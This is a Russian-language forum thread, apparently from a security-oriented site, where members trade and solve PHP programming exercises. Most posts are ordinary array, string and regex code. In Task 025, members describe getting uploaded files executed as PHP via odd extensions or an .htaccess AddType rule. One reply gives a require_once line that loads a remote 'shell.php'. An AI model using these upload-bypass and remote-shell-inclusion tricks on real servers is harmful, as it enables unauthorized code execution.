[PHP] ЗАДАНИЯ от Krist_ALL

Discussion in 'PHP' started by Krist_ALL, 20 Jun 2009.

  1. Extremal

    Extremal Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    66
    Likes Received:
    85
    Reputations:
    10
    Действительно =( А я об этом что то и не задумался,так на скорую руку набросал.
     
  2. roddik

    roddik Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    13
    Reputations:
    0
    20:
    Code:
    function oin($glue, $arr) {
        $res = '';
        $add = false;
        foreach ($arr as $b) {
    	if ($add) $res .= $glue;
    	if (!$add) $add = true;
    	$res .= $b;
        }
    
        return $res;
    }
    
    print oin(', ', array('a', 'b', 'c'));
    21:
    Code:
    $num = 5;
    $array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
    $array2 = array(2, 4, 6, 8, 10);
    
    $big = array_merge($array1, $array2);
    sort($big);
    $one = array_slice($big, 0, 5);
    $two = array_slice($big, 5);
    
    print_r($one);
    print_r($two);
    22:

    Code:
    $arr = array(3 => 'a', 5 => 'b', 9 => 'c');
    
    #foreach
    $vals = array_keys($arr);
    for ($i=0; $i<count($vals); $i++) {
        print $vals[$i].' => '.$arr[$vals[$i]]."\n";
    }
    23:
    Code:
    print preg_match('#0$#', '1543230')?'yes':'no';
     
    #62 roddik, 23 Jun 2009
    Last edited: 23 Jun 2009
    1 person likes this.
  3. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    немного подправил, количество элементов в первом массиве должно определяется в переменной $num.
    PHP:
    <?php
    $num 
    10;
    $array1 = array(1357911131517);
    $array2 = array(246810);

    $big array_merge($array1$array2);
    sort($big);
    $one array_slice($big0$num );
    $two array_slice($big$num );
    echo 
    "<pre>";
    print_r($one);
    echo 
    "<pre>";
    echo 
    "<pre>";
    print_r($two);
     echo 
    "<pre>";
     
    ?>
     
    1 person likes this.
  4. roddik

    roddik Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    13
    Reputations:
    0
    да, спс, проглядел немножко
     
    1 person likes this.
  5. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    тАк, Модератор скоро почистит тему и не флдудите!!! тока решения или новые зададиня! о новростях буду сообщать в первом посте.
     
  6. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    3 новых задания появились)
    Буду рад, если подкините заданий, а то моя фантазия на исходе)
     
  7. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Задание 025

    Назвать файл file.php.fdjhhd или скажем .php3, или залить пхп код в хтмл файле и htaccess c текстом
    AddType application/x-httpd-php .html .htm


    Задание 026

    Потому что должно выполниться или
    $b <= $a && $a == $c
    или
    $b > $c

    Второе выполняется и присваивается 0
     
    _________________________
    #67 Kaimi, 26 Jun 2009
    Last edited: 26 Jun 2009
    2 people like this.
  8. roddik

    roddik Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    13
    Reputations:
    0
    24:

    Code:
    ob_start();
    $time1 = microtime(1);
    
    for ($j = 0; $j < 10000; $j++) {
        for($i=0;$i<10;$i++)
        { echo '1php '; }
    }
    
    $a = (microtime(1)-$time1);
    
    $time1 = microtime(1);
    
    for ($j = 0; $j < 10000; $j++) {
    while($i<10) {
    echo 'w1';
    $i +=1;
    }
    }
    
    $b = (microtime(1)-$time1);
    ob_end_clean();
    
    echo "A: $a, B: $b";
    A: 0.0332159996033, B: 0.00275301933289
    второй вариант быстрее

    25:
    хз, может расширение php4 попробовать, или взять левое расширение и добавить .htaccess, в котором оно будет прописано для пхп

    26:
    Code:
    $a = 10; 
    $b = 515; 
    $c = 0.515; 
    $d = $b<=$a&&$a==$c||$b>$c?0:1; 
    echo $d;
    
    $d = 0&&0 || 1?0:1; у || приоритет меньше, чем у &&
    $d = 0 || 0
    $d = 0
     
    1 person likes this.
  9. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    025
    мб залить хтмл файл с таким содержанием:
    PHP:
    <?php
    require_once('http://mysite.com/shell.php');
    ?>
     
    1 person likes this.
  10. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    roddik, 024 впринципе правильно, но хачем нада было в фор сувать остается загадкой.

    025 ьож правильно родик решил. - взять левое расширение и залить еще хтаккес.

    026 немного не правиьно родик сделал
     
  11. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    задание 025
    залить файл хтассес и там прописать чтоб например файлы с расширение *.jpg выполнялись как php
     
  12. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Zedi, да, я это и написал в своем посте. Как вы задания быстро решаете..) за вами не угонишься)))
     
    1 person likes this.
  13. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    26:

    потому что выполняетсяя хотябы одна часть условия .. $b > $c т.к там стоит OR

    вот и выводит 0..
     
    1 person likes this.
  14. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    DOOM123, вырно просто немного другое хотел услышать.

    Это да, но подловить я вас хотел на ?0:1
    это означает иф -
    если true =>0//что необычноr
    если false =>1//что тоже неоьбычно т.к. труе вообщето 1 а falsre 0

    Вот)
     
  15. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Я уезжаю на дачу, буду писать редко т.к gprs, надеюсь вы эту тему не забросите., добавляйте задания и решайте их) Всем удачи!
     
    1 person likes this.
  16. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    чёт тема умела ... =)
    мне чтоль задания придумать?...

    хм .. кароче напишите умный разделитель текста ... ф-цию в который указывашь на сколько частей делить текст и указать сам текст ... а на выходе был массив разделёного текста .. .

    но главное чтоб он умно разделял текст .. чтоб разделитель понимал что если это целое слово нужно идти дальше ...

    пример использования spl(2,$text);

    хоть чтото полезние напишите =)
     
  17. roddik

    roddik Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    13
    Reputations:
    0
    Code:
    function spl($text, $parts) {
        $res = array();
        $l = intval(strlen($text)/$parts);
    
        preg_match_all('#(.{'.$l.',}?[,\.\?!])#is', $text, $sp, PREG_OFFSET_CAPTURE);
    
        $last = $sp[1][count($sp[1])-1][1]+strlen($sp[1][count($sp[1])-1][0]);
    
        foreach($sp[1] as $arr) {
            $res[] = $arr[0];
        }
    
        $res[] = substr($text, $last);
        return $res;
    }
    
    $text = <<<EOF
    Моей работой является работа с персоналом. У меня даже должность так называется — директор по обучению и развитию персонала. Должность даёт много возможностей, которые мне нравятся, но есть также и ведро ложка дёгтя: с людьми я общаюсь всё более и более опосредованно. У нас в конторе, как наверняка и везде, где больше 100 человек, наличествует некая организационная иерархия, которая несколько эээ… отгораживает. Так вот очень часто получается так, что приходит человек с заявлением об увольнении… а ты удивляешься. Это мягко говоря — чаще ты стоишь как громом поражённый и не знаешь, как реагировать. Естественно, шок проходит и ты начинаешь прояснять обстановку…
    Вот тут и выясняются интересные моменты. Кому-то некуда расти, кого-то в отпуск не отпускали уже год, кому-то текущий проект поперёк горла, кто-то хочет из тестировщика переквалифицироваться в программиста, С’шник хочет учить .NET, а у кого-то место под кондиционером и ему холодно… Проблемы разные, но чаще всего вполне решаемые. Дело только всё в том, что решать уже поздно. Заявление уже написано, и даже, если ложечки найдутся, осадочек-то всё равно останется. Вот и уходят люди — часто на более высокую зарплату, но не менее часто на такую же, а бывает и на меньшую. Вот это и есть проблема.
    EOF;
    
    print_r(spl($text, 5));
    Хех, а может давайте так, кто первый решает предыдущее задание, выдумывает следующее, а потом в зависимости от сложности задания все скидываются репой?

    В общем задание - есть номер формочки на хмтл паге, надо составить массив соответствия имен инпутов надписям, которые стоят рядом с ними ;)
     
  18. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    чтото не пашет =)

    PHP:
    <?php

    function spl($text$parts) {
        
    $res = array();
        
    $l intval(strlen($text)/$parts);

        
    preg_match_all('#(.{'.$l.',}?[,\.\?!])#is'$text$spPREG_OFFSET_CAPTURE);

        
    $last $sp[1][count($sp[1])-1][1]+strlen($sp[1][count($sp[1])-1][0]);

        foreach(
    $sp[1] as $arr) {
            
    $res[] = $arr[0];
        }

        
    $res[] = substr($text$last);
        return 
    $res;
    }


    echo 
    "<PRE>";


    $a '123456789 123456789 123456789 
    132456789 123465789 132456789 123456789'
    ;

    print_r(spl($a,2));
    ?>
    Вывод

    Code:
    Array
    (
        [0] => 123456789 123456789 123456789 
    132456789 123465789 132456789 123456789
    )
    
     
  19. roddik

    roddik Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    13
    Reputations:
    0
    Да, я рассчитывал на текст с точечками, так красивее получается) ну если надо разбивать циферки, то меняем
    preg_match_all('#(.{'.$l.',}?[,\.\?!])#is', $text, $sp, PREG_OFFSET_CAPTURE);
    на
    preg_match_all('#(.{'.$l.',}?\s)#is', $text, $sp, PREG_OFFSET_CAPTURE);
     
    1 person likes this.
  20. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    уху уже нашёл .... но почему не сделать для всех случаев жизни?

    preg_match_all('#(.{'.$l.',}?[,\.\?!\s])#is', $text, $sp, PREG_OFFSET_CAPTURE);